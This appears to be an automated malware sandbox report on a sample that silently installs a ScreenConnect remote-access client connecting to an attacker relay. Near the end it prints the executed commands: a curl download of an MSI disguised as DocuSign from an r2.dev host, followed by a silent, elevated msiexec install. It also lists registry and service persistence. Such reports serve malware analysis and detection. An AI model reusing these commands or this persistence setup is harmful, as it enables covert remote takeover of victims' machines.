Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Classes\sc-dced0c98722de943\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe" "%1"'
- [HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsAuthenticationPackage.dll'
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (dced0c98722de943)] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (dced0c98722de943)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe" "?e...
Creates the following services
- 'ScreenConnect Client (dced0c98722de943)' %ProgramFiles(x86)%\ScreenConnect Client (dced0c98722de943)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.control-mydesk.com&p=8041&s=66227ed7-bf9b-451a-b7b1-c60fd225c522&k=BgIAAA...
Modifies file system
Creates the following files
- %TEMP%\ls_proxy.log
- %TEMP%\libsodium_payload.msi
- %WINDIR%\installer\msid5af.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msid5af.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msid5af.tmp-\screenconnect.windows.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msid5af.tmp-\customaction.config
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
- %WINDIR%\temp\~df7974170eed1f8cd9.tmp
- %WINDIR%\installer\sourcehash{9a6383af-83ff-71f6-b79f-f3d4e603f09f}
- %WINDIR%\temp\~df31f3f39ae9a1649a.tmp
- %WINDIR%\temp\~df63a33de810ab8e05.tmp
- %WINDIR%\temp\~df9c1de050aebdad10.tmp
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.client.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsauthenticationpackage.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsbackstageshell.exe
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsbackstageshell.exe.config
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowscredentialprovider.dll
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsfilemanager.exe
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsfilemanager.exe.config
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\app.config
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\client.override.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\client.override.resources
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\client.resources
- %ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\system.config
- %WINDIR%\installer\{9a6383af-83ff-71f6-b79f-f3d4e603f09f}\defaulticon
- %WINDIR%\temp\~df77e61b1721055482.tmp
- %WINDIR%\temp\~df300239cab02e9f03.tmp
- %WINDIR%\temp\~df604de9f5df862010.tmp
- %WINDIR%\temp\~df3873835c5ce4338c.tmp
- %WINDIR%\temp\~dfef9bec34c23307d3.tmp
- %WINDIR%\temp\~dfeabd179129809cf9.tmp
- %WINDIR%\temp\~dfb887654c60bcb729.tmp
- %WINDIR%\temp\~df133e35d96d627977.tmp
- %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (dced0c98722de943)\fefnm5rw.newcfg
- %TEMP%\content\2280-2788-screenconnect.windowsclient.exe-13-56-25-181.dump
- %TEMP%\content\2280-2788-screenconnect.windowsclient.exe-13-56-25-661.dump
- %TEMP%\content\2280-2788-screenconnect.windowsclient.exe-13-56-25-856.dump
- %WINDIR%\temp\content\1052-2136-screenconnect.windowsclient.exe-13-56-30-125.dump
- %WINDIR%\temp\content\1052-2136-screenconnect.windowsclient.exe-13-56-30-241.dump
- %WINDIR%\temp\content\1052-2136-screenconnect.windowsclient.exe-13-56-30-243.dump
Deletes following files that it created itself
- %WINDIR%\installer\msid5af.tmp-\customaction.config
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.compression.cab.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.compression.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.windowsinstaller.dll
- %WINDIR%\installer\msid5af.tmp-\microsoft.deployment.windowsinstaller.package.dll
- %WINDIR%\installer\msid5af.tmp-\screenconnect.core.dll
- %WINDIR%\installer\msid5af.tmp-\screenconnect.installeractions.dll
- %WINDIR%\installer\msid5af.tmp-\screenconnect.windows.dll
Moves the following files
- from %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (dced0c98722de943)\fefnm5rw.newcfg to %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (dced0c98722de943)\user.config
Network activity
Connects to
- 'pu##########f5dd41ab9f48c3646bf1e306.r2.dev':443
- 'x1.#.lencr.org':80
- 'x2.#.lencr.org':80
- 'ye.#.lencr.org':80
- 'ye#.#.lencr.org':80
- 're###.##ntrol-mydesk.com':8041
TCP
HTTP GET requests
- http://x2.#.lencr.org/
- http://ye.#.lencr.org/
- http://ye#.#.lencr.org/99.crl
Other
- 'pu##########f5dd41ab9f48c3646bf1e306.r2.dev':443
- 're###.##ntrol-mydesk.com':8041
UDP
- DNS ASK pu##########f5dd41ab9f48c3646bf1e306.r2.dev
- DNS ASK x1.#.lencr.org
- DNS ASK x2.#.lencr.org
- DNS ASK ye.#.lencr.org
- DNS ASK ye#.#.lencr.org
- DNS ASK re###.##ntrol-mydesk.com
Miscellaneous
Creates and executes the following
- '%ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=relay.control-mydesk.com&p=8041&s=66227ed7-bf9b-451a-b7b1-c60fd225c522&k=BgIAAACkAABSU0ExAAgAAAEAAQDZ%2b9VnLfivKwJVHeHqyKSNy%2bEDvUIdL7XvGZ1d8KYIeMI9NW8EJjq01exlTSHNf0rCmMz...
- '%ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsclient.exe' "RunRole" "d4f52cab-18c2-4302-9e66-dc4e8e7c5f50" "User"
- '%ProgramFiles(x86)%\screenconnect client (dced0c98722de943)\screenconnect.windowsclient.exe' "RunRole" "9611c748-8ce2-4804-bf2e-ff9f8dea2b6f" "System"
Executes the following
- '<SYSTEM32>\cmd.exe' /c "curl.exe -f -L -o "%TEMP%\libsodium_payload.msi" "https://pub-021d30c7f5dd41ab9f48c3646bf1e306.r2.dev/DocuSignx64.msi" && powershell.exe -NoProfile -Command "Start-Process msiexec.exe -Argu...
- '<SYSTEM32>\curl.exe' -f -L -o "%TEMP%\libsodium_payload.msi" "https://pub-021d30c7f5dd41ab9f48c3646bf1e306.r2.dev/DocuSignx64.msi"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Start-Process msiexec.exe -ArgumentList '/i','%TEMP%\libsodium_payload.msi','/qn','/norestart' -Verb RunAs -Wait"
- '<SYSTEM32>\msiexec.exe' /i %TEMP%\libsodium_payload.msi /qn /norestart
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSID5AF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_907890 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
